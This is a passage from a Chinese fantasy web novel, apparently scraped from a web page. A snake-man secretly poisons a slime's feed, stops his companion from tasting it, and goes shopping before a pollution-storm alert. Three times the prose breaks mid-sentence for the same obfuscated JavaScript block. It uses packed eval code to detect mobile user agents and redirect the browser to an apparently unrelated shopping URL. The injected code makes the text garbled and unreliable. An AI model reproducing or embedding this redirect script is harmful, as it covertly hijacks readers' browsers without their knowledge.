【警惕!这些食物会让你的史莱姆原地爆炸】。 他往下滑动,发现养这种低等衍生物的人居然不少,有人用营养液调配糊糊,有人直接喂碾碎的能量晶体,甚至还有人晒出给史莱姆穿小衣服的照片。 “原来这么多人养啊。”方叙白喃喃自语,视线停留在一条高赞评论上:“试试稀释的能量凝胶混合蔬菜泥,亲测史莱姆会疯狂贴贴!” 他抬头看向冰箱,正好瞥见角落里那罐没开封的能量凝胶,据说能快速补充体力。 方叙白拿出来晃了晃,透明的淡蓝色液体在罐子里轻轻晃动。 “就用这个吧。” 他转身去拿胡萝卜,却不知道是没站稳还是什么,一下撞进一个温热的怀抱。 斯莱瑟不知何时站在他身后,手里捏着个皱巴巴的笔记本:“我准备好了!先做个番茄炒蛋怎么样?你以前说过这个简单。” 方叙白看着他本子上歪歪扭扭的字迹,实在是觉得有点不靠谱,但还是点头。 “行,我来处理蔬菜,你生火。” 斯莱瑟立刻欢呼一声,尾巴在身后欢快地摆动,只不过他的目光扫过窗台上的培养皿后,尾巴尖突然僵住了,瞳孔微微收缩成竖线,完全是盯上猎物的蛇的状态。 方叙白没注意到他的异样,低头削着胡萝卜。 刀刃划过表皮的沙沙声里,多了“咔哒”一声轻响。 斯莱瑟捏紧了手里的锅铲,再多一点力气就能折断了。 “怎么了?”方叙白回头。 “没、没事,”斯莱瑟慌忙松开手,脸上挤出笑容,尾巴却悄无声息地缠上了桌腿,“就是觉得这锅有点沉。” 他说着就去开燃气灶,蓝色的火焰“噗”地窜起,吓得他猛地后退一步,尾巴尖差点扫翻旁边的油瓶。 方叙白看得哭笑不得,走过去帮他稳住锅子:“小心点,先热锅。” 斯莱瑟乖乖点头,眼睛却一直瞟着窗台上的史莱姆。 那团银灰色的粘液正慢悠悠地爬着,偶尔停下来“望”向厨房,仿佛在监视他们。 一股无名火窜上斯莱瑟的心头,他手心凝聚起一滴毒液。 只要一滴,就能让这团恶心的粘液彻底完蛋。 “倒油吗?”方叙白拿起油壶。 “啊?哦,倒、倒一点!”斯莱瑟猛地回神,慌忙点头,尾巴却在桌腿上越缠越紧,木质桌面被勒出细微的裂痕。 热油“滋啦”一声溅起,几滴滚烫的油星落在斯莱瑟手背上。 方叙白惊呼一声想去拉他,却看见那些油星在触及皮肤的瞬间就滑了下去,只留下几道浅浅的白痕,转瞬即逝。 “你没事吧?” “没事没事,”斯莱瑟抽回手,若无其事地在围裙上擦了擦,“蛇的皮肤本来就不怕烫。” 他说着就去拿鸡蛋,手却抖了一下,蛋壳掉进锅里,溅起更多油花。 方叙白无奈地接过鸡蛋,看着他笨手笨脚地切番茄,红汁溅得满案板都是,发现这货根本没学过做饭吧!完全是来捣乱的。 “要不还是我来吧?” “不行!”斯莱瑟立刻按住他的手,红瞳里满是委屈,“让我试试嘛,我真的学了好久……” 他的手指冰凉,带着鳞片特有的滑腻感。 方叙白看着他可怜兮兮的样子:“那你小心点。” 斯莱瑟立刻笑开了,尾巴欢快地拍打着地面,但转身的瞬间,眼神就冷了下来。 他假装切番茄,毒却蔓延到了指尖。 只要趁方叙白不注意,把粉末混进给史莱姆的糊糊里…… “对了,”方叙白忽然开口,正拿着能量凝胶往碗里倒,“你知道史莱姆能吃蔬菜泥吧?我查的说要少放能量剂,不然会撑坏。” 斯莱瑟的动作猛地一顿,剧毒粉末差点从指尖掉下去。 他回头看见方叙白正把胡萝卜泥倒进碗里,蓝色的能量凝胶在里面慢慢化开。 “哦……是吗?”斯莱瑟的声音有点发紧,“可能吧,我不太懂这些。” “好了。”方叙白把碗放在一边,转身去看锅里的番茄炒蛋。 那团红色的糊糊已经粘在锅底,散发出焦糊的味道,斯莱瑟正手忙脚乱地用铲子刮,结果越刮越糊。 “算了算了,”方叙白抢过铲子,“还是我来吧,你去把那个史莱姆的糊糊端过来。” 斯莱瑟听话地走过去。 碗里盛着淡橙色的糊糊,胡萝卜泥混着稀释的能量凝胶,表面泛着一层油光。 他立刻趁着方叙白转身洗番茄,咬破毒囊,将一滴毒液混了进去。 毒液在里面似乎完全看不出来,但只有他自己知道,这看似无害的糊糊里藏着足以让一头成年污染兽瞬间僵直的神经毒素。 对付诺卡斯那团该死的分身,这点剂量绰绰有余。 “火是不是太大了?”方叙白的声音从灶台边传来。 斯莱瑟猛地回神,尾巴尖在身后绷紧又迅速放松。 “还好吧,”他笑得一脸无辜,把勺子往碗沿一磕,“炒青菜就得大火快炒,不然蔫巴巴的不好吃。” 他说着走到灶台边,极其自然地接过方叙白手里的锅铲。 蛇类对温度的感知本就敏锐,蓝汪汪的火焰在锅底跳跃,他却像毫无所觉般颠起锅来,动作竟比刚才做番茄炒蛋时流畅了十倍不止。 他学习能力在这种上面一直很强。 翠绿的青菜在锅里翻滚,混着蒜末的香气瞬间弥漫开来,竟真有几分家常菜的温馨。 方叙白看得有些发愣。 这货刚才切番茄时还能把红汁溅到天花板上,怎么炒起青菜来突然像换了个人? “看什么?”斯莱瑟侧过头,“是不是觉得我很厉害?” “是挺厉害的。”方叙白诚实地点头,视线却不由自主地飘向窗台上的培养皿。 那团银灰色的史莱姆不知何时爬到了玻璃边缘,正软乎乎地贴着壁面,仿佛在“盯”着厨房里的动静。 斯莱瑟顺着他的目光看去,嘴角的笑容瞬间淡了几分。 那团泥巴怎么无处不在! 他不动声色地往灶台边挪了半步,用身体挡住方叙白的视线,手里的锅铲却下意识地攥紧,指节泛白。 再忍忍。 等妈妈喂它吃了这碗糊糊,一切就都结束了。 “好了!”斯莱瑟猛地把炒好的青菜盛进盘子,声音里带着刻意拔高的雀跃,“最后一道菜完成!可以开饭啦!” 方叙白被他的动静拉回注意力,笑着去端那碗史莱姆的糊糊:“正好,该给小家伙喂食了。” 他拿起勺子舀了一小勺,淡黄色的糊糊在勺尖微微晃动,散发着淡淡的胡萝卜甜香。 或许是今天做的饭菜香气太诱人,方叙白看着那温热的糊糊,竟鬼使神差地想尝尝味道。 毕竟……这也是他第一次亲手调配异宠饲料,总担心比例不对会饿着小家伙。 “这能量凝胶没什么怪味吧?”他喃喃自语着,下意识地就想把勺子往嘴边送。 几乎在他手腕抬起的瞬间,一道暗红色的影子快如闪电般弹射过来! “啪——!” 清脆的响声在厨房里炸开。 斯莱瑟的蛇尾精准地抽在方叙白的瓷碗上。 瓷碗脱手而出,在空中划过一道弧线,最后“哐当”一声砸在地板上,淡黄色的糊糊溅得到处都是。 方叙白整个人都僵住了,手里的勺子还保持着上扬的姿势,大脑一片空白。 “嘶——!” 更刺耳的痛呼紧接着响起。 斯莱瑟像是被自己的尾巴绊倒,高大的身躯猛地向后踉跄,膝盖重重磕在料理台的棱角上,发出沉闷的响声。 他疼得蜷缩起身体,额头抵着冰冷的台面,红色的发丝凌乱地垂落,遮住了大半张脸,只露出紧咬着的、泛白的嘴唇。 “斯莱瑟!”方叙白这才反应过来,手里的勺子“当啷”一声掉在地上,他慌忙蹲下身去扶斯莱瑟,“你怎么样?磕到哪了?” 斯莱瑟的身体还在微微颤抖,像是疼得厉害。但始终没抬头,没办法……跟着演员修炼手册学了一周,还是没学会掉眼泪。 他只能努力改了下声音,装成带有浓重的鼻音:“没、没事……就是脚滑了……” 他的目光飞快地扫过地上的糊糊,看到那些淡黄色的液体正以肉眼可见的速度侵蚀着地板,瓷砖表面冒出细密的气泡,散发出淡淡的焦糊味。 还好……还好打翻了。 刚才那一瞬间,他看到方叙白要尝糊糊,脑子根本来不及思考,身体已经先一步做出反应。那可是他特意为诺卡斯分身准备的剧毒,要是妈妈真的尝了…… 斯莱瑟不敢再想下去,心脏像被一只无形的手紧紧攥住,疼得他喘不过气。 他顺势往方叙白怀里倒去,把脸埋在对方温暖的颈窝,声音闷闷的:“膝盖好疼……” 方叙白被他撞得向后仰了仰,连忙伸手扶住他的肩膀,掌心能清晰地感觉到对方身体的颤抖。“我看看伤到没有?”他想拉开斯莱瑟检查伤口,却被对方死死抱住腰。 “别碰……”斯莱瑟的声音带着一丝不易察觉的颤抖,“过会儿就好了……” 这要是被妈妈看到一点伤也没有还怎么装! 斯莱瑟能感觉到方叙白身上的温度透过薄薄的衣料传来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306311|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着令人安心的气息。这种近距离的接触让他紧绷的神经稍稍放松,心底却涌起一股强烈的后怕和愤怒。 都怪那团该死的泥巴! 要不是它,妈妈根本不会接触到这种危险的东西! “咔哒”。 方叙白下意识地抬头看去,瞳孔骤然收缩。 那只放在窗台上的培养皿不知何时翻倒在地,玻璃碎片散落一地。 而那团银灰色的史莱姆,正软乎乎地趴在离打翻的糊糊不远的地方,身上沾了不少灰尘和细小的玻璃碴,看起来狼狈极了。 “小家伙!”方叙白惊呼一声,连忙想挣脱斯莱瑟去捡它,却被抱得更紧。 “别去碰!”斯莱瑟的声音突然拔高,带着一丝不易察觉的紧张,“地上有玻璃!会划伤你的!” 他一边说一边抬起头,红瞳死死盯着那团史莱姆,眼底闪过一丝狠厉。 好机会! 现在只要他假装没站稳,就能顺势把那团泥巴踩成碎片! 可还没等他付诸行动,方叙白已经强行推开他的胳膊,小心翼翼地蹲下身,用手指轻轻戳了戳那团史莱姆。 小家伙似乎被刚才的动静吓坏了,缩成一小团,银灰色的身体微微颤抖,表面的光泽黯淡了不少。 “别怕别怕。”方叙白放柔了声音,小心翼翼地用双手把它捧起来。 史莱姆软乎乎的身体在他掌心微微蠕动,冰凉的触感让他心头一紧。 这小家伙从那么高的窗台摔下来,会不会受伤? “我去给它洗干净。”方叙白抱着史莱姆站起身,快步走向卫生间,完全没注意到身后斯莱瑟瞬间阴沉的脸色。 斯莱瑟看着他的背影,又低头看了看地上那滩正在腐蚀地板的糊糊,眼底闪过一丝慌乱。 他迅速从墙角拿起拖把,三下五除二地把地上的糊糊和玻璃碎片清理干净。 拖布一接触到那些淡黄色液体,就发出“滋滋”的声响,刺鼻的气味弥漫开来。 斯莱瑟皱着眉看着被腐蚀出深色痕迹的地板,心里暗骂一声麻烦。 这毒液的腐蚀性比他想象中还要强,这么明显的痕迹,妈妈肯定会起疑的。 他正想着该怎么掩饰,卫生间里传来方叙白的声音:“斯莱瑟,你有没有看到干净的毛巾?” “啊?看到了!”斯莱瑟连忙应着,随手拿起挂在墙上的毛巾跑过去,眼角的余光却还在瞟着地板上的痕迹。 卫生间里,方叙白正用温水轻轻冲洗着掌心里的史莱姆。 小家伙似乎适应了温水的温度,不再瑟瑟发抖,反而舒展开身体,软乎乎地蹭着他的指尖,银灰色的身体泛着淡淡的光泽。 “你看它多乖。”方叙白笑着抬头,正好对上斯莱瑟的视线,“刚才真是吓死我了,还以为它摔出问题了呢。” 斯莱瑟看着他眼底的温柔,心里像被什么东西刺了一下,闷闷的。 他移开视线,把毛巾递过去,声音有点生硬:“洗干净就赶紧擦干,别着凉了。” 方叙白接过毛巾,小心翼翼地把史莱姆裹起来轻轻擦拭,动作温柔得像在呵护一件稀世珍宝。 斯莱瑟站在一旁看着,实在是咬牙切齿。 从卫生间出来,方叙白怀里捧着用毛巾裹好的史莱姆,小家伙舒服地缩在他掌心,偶尔软乎乎地动一下。 斯莱瑟抢先一步走到客厅,故意挡在被腐蚀的地板前,脸上挤出一个僵硬的笑容:“饭都凉了,快吃饭吧。” 方叙白点点头,视线却不经意地扫过地板。 看到那片深色的腐蚀痕迹,他的脚步顿住了,眉头皱起。 “这是……”他疑惑地看向斯莱瑟,“怎么回事?” 斯莱瑟心里咯噔一下,面上却不动声色地走过去,用脚在那片痕迹上蹭了蹭,皱着眉抱怨道:“不知道啊,可能是刚才那碗糊糊摔地上弄的吧?这房子质量也太差了,一碗破都能弄出这么大痕迹。” 他故意说得夸张,还用力跺了跺脚,像是在测试地板的硬度。 “你说这房东会不会让我们赔钱啊?我听说这种复合地板可贵了。” 方叙白的注意力果然被转移了。 他走到那片痕迹前蹲下身,用手指轻轻摸了摸,眉头皱得更紧了。 “这看起来不像是糊糊能弄出来的……” 话没说完,他的手机突然“叮咚”响了一声。 是银行发来的余额提醒短信。 方叙白点开一看,脸色瞬间垮了下来。 扣除这个月的房租和水电费,余额已经不足三位数了。 “唉……”他长长地叹了口气,站起身拿出手机,打开购物软件开始搜索同款复合地板的价格,“先看看多少钱吧,要是太贵……” 他的声音越来越小,眉头紧锁,显然是在为钱的事情发愁。 刚刚找到工作还没拿到工资,现在又可能要赔一笔地板钱,这对他来说无疑是雪上加霜。 斯莱瑟看着他愁眉苦脸的样子,心里却暗暗松了口气。 还好转移了注意力,不然被妈妈发现那是毒液腐蚀的痕迹,后果不堪设想。 他走上前,装作不经意地拍了拍方叙白的肩膀:“别担心,房东人很好的,说不定不会让我们赔的。而且,赔钱肯定也是我赔啊。” 而被方叙白捧在手心的史莱姆,此刻正软乎乎地趴在他的手心里,银灰色的身体微微起伏。如果有人能读懂它的心思,一定会听到一声极其不屑的嗤笑。 【蠢货。】 【天天就知道搞这些小伎俩,骗妈妈!】 一边想着,他有些挑衅地在斯莱瑟面前蹭了蹭方叙白的指尖。 27.第 27 章 方叙白把史莱姆重新放回铺着干净细沙的培养皿里,小家伙缩在角落,银灰色的身体微微发颤,偶尔伸出纤细的伪足碰一下玻璃壁,又飞快地缩回去,活像只刚被捡回家的流浪猫,满眼警惕又带着点怯生生的好奇。 “还怕呢?”他用指尖轻轻敲了敲玻璃,“这里没有别的东西,不用躲。” 史莱姆似乎听懂了,停顿了两秒,缓缓舒展身体,在细沙上留下一道浅浅的痕迹。 方叙白看着那道痕迹,想起前世邻居家刚抱回来的奶猫,也是这样缩在沙发底下,一整天都不肯出来,直到发现没人会伤害它,才敢偷偷探出脑袋。 “应激反应吗?”他拿出手机,点开之前收藏的异宠论坛,手指滑动屏幕,“网上说新环境可能会让它们紧张,得慢慢适应。” 屏幕上跳出一条新回复,是他之前请教饲养方法的一个帖子,有人回复: 【C级史莱姆对环境变化很敏感,尤其是从实验室出来的个体,最好保持环境稳定,别频繁移动培养皿,给点熟悉的气味源会好点。】 方叙白若有所思地点点头,起身去找自己穿旧的T恤,打算剪一小块铺在细沙上。 刚拿起剪刀,就听见身后传来嗤笑。 “哼,装可怜罢了。”斯莱瑟不知何时凑了过来,红瞳瞥着培养皿里的史莱姆,尾巴尖在地板上不耐烦地扫来扫去,“这种异种衍生物根本没有感情,你对它再好,它也只会认能量源。哪天你能量耗尽,它转头就会把你当养料啃。” 他说着故意往前凑了凑,蛇瞳里的寒意吓得史莱姆猛地缩成一团。 “别吓它。”方叙白皱眉把培养皿往旁边挪了挪,“它才这么小,能懂什么?而且它从来没伤害过我。” “现在不伤害,不代表以后不会。”斯莱瑟酸溜溜地补充,尾巴缠上桌腿轻轻勒紧,“这种东西养不熟的,不如趁现在还没出问题,扔回实验室处理掉最省心。” “你怎么对它意见这么大?”方叙白放下剪刀,认真地看着他,“它又没招惹你。” 斯莱瑟被问得一噎,总不能说这团泥巴是诺卡斯的分身吧? 只能梗着脖子强辩:“我就是看不惯它黏着你!你看它那副样子,明明是团没脑子的粘液,偏要装作乖巧懂事,一看就没安好心!” 方叙白无奈地摇摇头,转身继续剪T恤:“你想多了,它就是只普通的宠物。” 斯莱瑟看着培养皿里那团缩成球的史莱姆,忽然心里一动。 对啊,他怎么没想到? 这团泥巴不就是靠着装弱小、装可怜才黏在妈妈身边的吗? 如果他也能变成小蛇的样子,缩在妈妈手心里撒娇,妈妈是不是也会对他更温柔点? 可这个念头刚冒出来就被他掐灭了。 蛇族的形态变化是固定的,成年后只能在人形态和半蛇形态间切换,哪像史莱姆这种低级衍生物,能随意分裂变形? 上次为了让妈妈摸尾巴,他已经是拼尽全力才暂时维持住半蛇形态,想变成长度只有手指粗细的小蛇? 根本不可能。 “嘁,低级伎俩。”斯莱瑟酸溜溜地撇撇嘴,却忍不住多看了史莱姆两眼。 那团银灰色的粘液不知何时又舒展开,正贴着玻璃壁,用一种近乎挑衅的姿态轻轻晃动。 方叙白没注意到两人间的暗流涌动,他正专注地看着论坛里的饲养指南: 【推荐使用恒温培养箱,温度控制在25-28℃最佳;每周更换一次无菌沙,避免滋生细菌;能量凝胶需稀释至5%浓度,过量易导致活性紊乱……】 “看来得买个恒温箱。”他自言自语着,点开购物软件,发现最便宜的也要五百贡献值,顿时皱起眉,“有点贵啊……” 再往下翻,还有人推荐专用的无菌营养沙和环境检测仪,零零总总加起来又是一笔不小的开销。 方叙白叹了口气,关掉软件起身:“先去便利店买点应急的无菌纱布和纯净水吧,培养箱等发工资再买。” 他看向斯莱瑟,本来想说“你在家看好它”,但想起刚才斯莱瑟那副恨不得把史莱姆捏碎的表情,到了嘴边的话又咽了回去。 让这只大蛇单独跟史莱姆待在一起,回来怕是只能看到一滩银灰色的粘液残骸了。 “你跟我一起去吧。”方叙白改口道。 斯莱瑟眼睛瞬间亮了,尾巴不受控制地在身后摆了摆:“好啊!” 他完全没猜到方叙白是怕他趁人不在对史莱姆下毒手,只当是妈妈想单独跟他出门,心里的那点不快顿时烟消云散,连带着看培养皿里的史莱姆都顺眼了点。 至少这团泥巴间接促成了他和妈妈的独处。 方叙白拿起外套,心里还在盘算:都说新宠物到家要隔离,蛇和史莱姆算不算天敌?应该……不在食谱里吧?斯莱瑟平时吃的都是能量棒和速食,从没见过他对这种粘液状的东西感兴趣。 正想着,就见斯莱瑟走到门口,原本拖在地板上的暗红色蛇尾泛起一层细密的鳞片光泽,骨骼发出轻微的“咔哒”声,缓缓收缩、变形,最终化作两条修长笔直的腿。 但当他迈开步子,方叙白还是忍不住皱了皱眉。 太奇怪了。 斯莱瑟走路的姿势看起来和常人无异,步伐稳健,甚至带着点年轻人特有的轻快,但方叙白就是觉得不对劲。 他的脚踝转动幅度格外大,脚尖落地时总是先以一种近乎踮脚的姿态点地,再缓缓放下脚跟,整个身体带着一种极其细微的、左右摇摆的弧度,像蛇在地面滑行时的残影,哪怕化作人形也无法完全抹去。 “走吧。”斯莱瑟回头冲他笑。 方叙白压下心头的异样,跟上去:“你的腿……走路没问题吧?” 斯莱瑟等这句话等了一路,立刻露出恰到好处的委屈表情,脚步放慢了些:“有点僵,毕竟平时还是用尾巴更习惯。” 他顿了顿,适时地卖惨,“再过半个月就要蜕皮了,到时候可能连站都站不稳,据说这次蜕皮会很疼……” 方叙白果然皱起眉,“需要准备什么东西吗?比如止痛药或者……” “不用不用。”斯莱瑟连忙摆手,心里却乐开了花,妈妈果然关心他! “我们蛇族蜕皮都是自己来,忍忍就过去了。就是这段时间可能不太方便,说不定要麻烦你多照顾我了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306312|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他说着凑近了些,故意让肩膀时不时碰到方叙白的胳膊,感受着对方身上传来的温度,心里的算盘打得噼啪响。 等蜕皮的时候,他就赖在妈妈身边,让妈妈喂他吃饭,帮他擦药,说不定还能顺势把头枕在妈妈腿上…… 方叙白没察觉他的小心思,只是点点头:“有什么需要的就跟我说。” 两人并肩走出楼道,午后的阳光透过灰蒙蒙的云层洒下来。 便利店就在街角,玻璃门上贴着褪色的海报,上面印着打折的能量棒和速食面。 斯莱瑟推开玻璃门。 店员是个穿着灰色制服的中年男人,看到他们进来,只是抬了抬眼皮,又低下头继续玩手机。 在这个人人自危的世界,没人会在意两个看起来没什么威胁的年轻人。 “无菌纱布在那边。”方叙白径直走向日用品区,拿起包装好的纱布和一小瓶纯净水,又在货架上扫视,“还需要什么……哦对了,再买包细盐,论坛说可以用来简单消毒。” 斯莱瑟跟在他身后,眼神却不由自主地瞟向冷藏柜里的肉类速食,胃里隐隐传来饥饿感。 但看到方叙白专注地挑选东西的样子,他又把想吃肉的念头压了下去。 他可不能在这个时候表现出食肉的本能,免得吓到妈妈。 “你在看什么?”方叙白拿着东西转身,正好撞见斯莱瑟盯着冷藏柜发呆。 “没什么。”斯莱瑟立刻收回目光,笑得一脸无害,“就是在想,要不要买点你喜欢的贵妃酥?上次那家点心铺好像也在这附近。” 方叙白愣了一下,随即摇摇头:“不用了,先买完东西回去吧,别让小家伙一个人待太久。” 提到史莱姆,斯莱瑟脸上的笑容淡了点,但还是乖巧地点头:“听你的。” 他跟在方叙白身后走到收银台,看着店员扫码结账,目光却又不受控制地飘向窗外。 街角的阴影里,几只低阶污染物正在互相撕咬,血液溅在墙壁上,发出滋滋的腐蚀声。 斯莱瑟的瞳孔微微收缩,竖瞳闪过一丝冷光。这些低等的渣滓,居然敢在妈妈附近晃悠。 等回去的时候,顺便把它们清理掉好了。 怎么清理呢?吃掉?不知道好不好吃。 “一共五十八贡献值。”店员把东西装进塑料袋里。 方叙白付了钱,接过袋子转身往外走,没注意到斯莱瑟一直盯着那几只污染物一眼。 走出便利店,午后的风吹过来,方叙白裹了裹外套:“回去吧,早点把东西准备好。” “嗯。”斯莱瑟应着,脚步却慢了半拍,看着方叙白的背影,心里忽然涌起一股莫名的满足感。 就算有那团讨厌的泥巴又怎么样? 妈妈现在身边陪着的人是他,会关心他蜕皮疼不疼的人也是他。 只要再等一段时间,等他彻底掌握血脉里的力量,就能把所有觊觎妈妈的东西都撕碎,到时候妈妈就只能是他一个人的了。 斯莱瑟快步跟上,脚踝在地面划出细微的弧度,带着蛇类特有的、无声而优雅的侵略性,与方叙白的步伐重叠在一起,消失在灰蒙蒙的街道尽头。 28.第 28 章 走了几步,方叙白忽然停下,蹙眉想了想:“等等,好像家里今天做菜……没什么菜了。” 修补地板是意外支出,但日常的吃饭问题也不能不考虑。 他抬头看了看路边指示牌,指向不远处一个大型连锁生鲜超市的logo。 “顺便去趟超市吧,补充点存货,反正也顺路。”他叹了口气,感觉钱包又在隐隐作痛,但还是调转方向。 斯莱瑟自然没有异议,跟在他身侧,只是目光不受控制地,飘向了超市入口处的生鲜区指示牌。 方叙白推着购物车,径直穿过灯光最耀眼、冷气最足,也意味着价格最昂贵的生鲜肉食区。 他的目光甚至没有在那些摆放整齐、色泽鲜红的牛排和五花肉上过多停留,只是快速扫过价签。 那上面的数字果然一如既往地让他胃部微微抽搐。 他下意识地加快了脚步,仿佛离这些“奢侈品”远一点,就能离他干瘪的钱包近一点。 他熟门熟路地拐进了旁边的蔬菜区。 这里的灯光同样明亮,但氛围似乎更“亲民”一些。 货架上堆满了各色蔬菜:翠绿的西兰花、水灵的生菜、红彤彤的西红柿,还有裹着泥土的土豆和细长的黄瓜。 方叙白深吸一口气。 他记得斯莱瑟似乎对酸甜口味的食物接受度尚可。 “番茄炒蛋……或者直接糖拌番茄……成本都不高。” 他心里盘算着。 购物车里渐渐多了几样最基础的蔬菜:油麦菜、西红柿、土豆、一小把看起来还算水灵的菠菜和一盒打折促销的鸡蛋。 每增加一样,他心里的计算器就噼里啪啦响一阵。 虽然都是平价蔬菜,但累积起来的价格,加上之前便利店购买的物品和即将要赔付的地板费用,依然让他感到一阵隐隐作痛的压力。 不过……怎么突然这么安静? 方叙白疑惑地抬起头,四下张望。 果然,斯莱瑟并没有像往常一样安静地待在他身侧或后方。 他的目光越过蔬菜架,投向不远处的生鲜区。 只见斯莱瑟依旧一动不动地伫立在那个冷柜前,就是之前摆放着鲜红肉类的地方。 他微微歪着头,红瞳一眨不眨地凝视着柜内,那专注的神情,仿佛整个世界只剩下那片诱人的红色。 冰冷的白色灯光从头顶洒下,照在他侧脸上,映出一种近乎虔诚的、属于掠食者的专注。 周围的顾客来来往往,都未能穿透他周围那层无形的屏障。 方叙白快步走过去,他敏锐地捕捉到斯莱瑟那类似蛇类吐信般的“嘶嘶”声。 他侧头。 斯莱瑟的蛇尾不知何时又出现了,尖端无意识地在地板上拍打,喉结明显地滚动了一下,吞咽的动作带着一种近乎贪婪的渴望。 “想吃?” 斯莱瑟被惊醒,猛地转过头,脸上的表情瞬间从掠食者切换成带着点讪笑:“啊?哦……没、没有,就看看。” 他摆摆手,尾巴尖的拍打也停止了,身体却依旧没有挪开,目光还是忍不住瞟向那诱人的红色。 方叙白看着他这副口是心非的样子,心里叹了口气。 他知道斯莱瑟的“食谱”和他不同,这些肉对半蛇人来说恐怕是难以抗拒的美味诱惑。 但现实是…… “喜欢哪块?算在买菜钱里。”方叙白开口,声音干涩。 虽然肉价昂贵,地板也要赔,但斯莱瑟毕竟收留了他,还交了房租…… 方叙白心里飞快地计算着账户里那点可怜的余额,盘算着压缩其他开销的可能性。 斯莱瑟的眼睛瞬间亮了一下,但光芒又迅速黯淡下去。 他像是想起了什么,用力甩了甩头:“不要!太贵了!” 他语气坚决,甚至带着点夸张的嫌弃,“这点东西够买多少能量棒了?而且……味道也就那样吧!腥得很!” 他一边说着,一边证明自己的“不屑”,强迫自己转过身,不再看冷柜。 但方叙白分明看到,他转身时又飞快地咽了口唾沫。 【蠢。】 斯莱瑟在心里暗骂自己。 【差点被本能冲昏头。】 【妈妈的钱是用来买蔬菜的,怎么能浪费在这种……零嘴上?】 他的思维飞快地转动着,理智暂时压倒了口腹之欲。 以前从来没有这种烦恼。 因为他就算来安全区,他吃东西不付钱的。 【想吃肉?外面多得是。】 【等安顿好妈妈,半夜溜出去就是了。】 【那些在安全区外围游荡的低等污染物,虽然肉质差了点,能量驳杂,还带着污染特有的酸腐气……但胜在量大管饱,还免费。】 【运气好,说不定还能遇到几只刚被巡逻队打残的B级,那肉质……嘶……】 想到那些在黑暗中蠕动的“免费自助”,斯莱瑟的舌尖下意识地舔过犬齿,涎液差点溢出嘴角,被他强行咽了回去。 他赶紧低下头,装作帮方叙白整理购物篮。 方叙白自然不知道他脑子里翻腾的这些“免费自助”念头。 看着斯莱瑟“懂事”地拒绝,他心里反而更不是滋味。 这破地方,连让人吃点像样的东西都这么难。 他默默地把手机塞回口袋,决定暂时放弃地板赔偿,毕竟房东也不天天来看,等结了工资再说。 他拿起购物篮里仅有的几样打折蔬菜和一小盒鸡蛋,准备去结账。 “滴嘟!滴嘟!滴嘟——!!!” 超市顶部的显示屏瞬间切换画面。 【S级紧急气象预警!S级紧急气象预警!】 屏幕被刺眼的猩红覆盖,巨大的黑色字体不断滚动: 【代号‘墨潮’超强污染性暴雨系统已形成!预计于15分钟内覆盖全安全区!】 【污染指数:A+!预计伴随强电离干扰、空间扭曲及高阶污染物异常活跃!】 【请所有居民立刻停止户外活动!就近寻找安全建筑避难!关闭门窗!等待官方进一步通知!重复……】 屏幕上实时气象图上,一团如同巨大墨色漩涡般的云团正迅速逼近,边缘翻滚着不祥的绿光。 超市的灯光也随之开始不稳定地闪烁,发出滋滋的电流声。 “又下?!”方叙白脱口而出,烦躁地抓了抓头发,“这鬼天气有完没完?” 他看向窗外,天色以肉眼可见的速度迅速暗沉下来,如同瞬间进入黑夜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306313|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 远处的天空被浓厚的、翻滚的墨绿色云层彻底覆盖,压抑得让人喘不过气。 狂风开始呼啸,卷起地上的尘土和垃圾,敲打在超市的玻璃上,发出噼啪的闷响。 空气里的湿度急剧上升,带着一股铁锈和腐烂植物混合的、令人窒息的味道。 斯莱瑟也抬起头,望向窗外那末日般的景象。 他神色恹恹。 雨水对他来说并非舒适的环境,湿冷会降低蛇类的活性。 【又是雨……】 斯莱瑟的瞳孔收缩成细线。 【如此喜欢雨的……或许是那朵死花?】 一个念头钻入脑海。 【缠枝……难道……真的要活过来了?】 这个想法让他后颈的鳞片都炸起。 超市里瞬间乱成一团。 人群恐慌地涌向收银台,又有人想冲向门口离开,场面一片混乱。 方叙白也被这混乱裹挟,顾不上多想,拉着斯莱瑟就往人相对少一点的方向冲去。 斯莱瑟的蛇尾灵活地在地面滑行,在拥挤的人群中硬是挤出一条通道,将方叙白护在身侧。 “嗡……” 口袋里的手机再次震动,是邮件提示音。 屏幕亮起,发件人显示:【源实验室 - 博格】。 方叙白的心猛地一沉,一种不祥的预感笼罩上来。 他解锁屏幕点开邮件。 邮件内容极其简短,公事公办,甚至带着一丝冰冷的机械感: 【发件人:博格 收件人:方叙白 主题:关于今日无故缺勤的询问 方叙白先生: 根据实验室考勤系统显示,您今日未按规定时间(18:30)抵达实验室下班打卡。 